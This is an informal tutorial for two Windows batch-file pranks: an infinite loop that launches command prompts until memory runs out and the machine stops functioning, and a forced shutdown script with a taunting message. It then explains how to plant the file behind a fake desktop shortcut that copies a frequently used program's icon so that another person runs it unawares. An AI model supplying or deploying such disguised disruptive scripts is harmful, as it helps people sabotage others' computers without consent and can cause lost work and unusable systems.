I will show you how to make two simple programs that render any useless or just annoy the user. THIS IS FOR WINDOWS ONLY. this is also temporary bug that goes away on shutdown/reboot. I am not responsible for ANY DAMAGE WHATSOEVER.

Step 1: The Infinate Comand Prompt Bug

the first and worst bug of the two is the infinate comand prompt bug. this is the scary one, and the one that is the simplest.
this uses a .bat file that infinately starts anything you want till all the memory is taken up, and the computer can't function.
first thing first, open up notepad in the accesorys folder of the start menu.
after that, enter this:
@echo off
:label
start
goto label

Simple right? now save like pic 2. make shere that the file type (defult .txt) is .bat

Step 2: Auto Shutdown/reboot Bat File

NOTE: this method only works on xp, vista, and 7
this one forces the computer to shutdown or reboot.
first, open notepad. then enter this:

shutdown -s -f -t 10 -c "HAHA"
exit

ok, now to do some customisation to the line. the -s switch means to shutdown, you can change it to -r to reboot or -a to abort a system shutdown/reboot.
the -f means to force quit all processes before shuting down. (works best with it in)
the -t means the time delay in seconds ie: 1 minute is -t 60
the -c is a comment, up to 127 charactors. it must be in quotation marks

Step 3: Hiding the Bat File(s)

now to plant a bat file. guess the program short cut on the desktop that someone uses the most and move it somewhere they won't find it. I chose Internet. now right click on blank desktop space and go to new and create a new shortcut. locate the bat file and click next. name it the same name as the shortcut it will pose as. now to change the icon. right click the shortcut and click change icon. now navigate to the program files of the program. now in some cases you can click the exe and get the icon library or if there is a .ico file. in the library chose the same icon as the desktop one. thats it.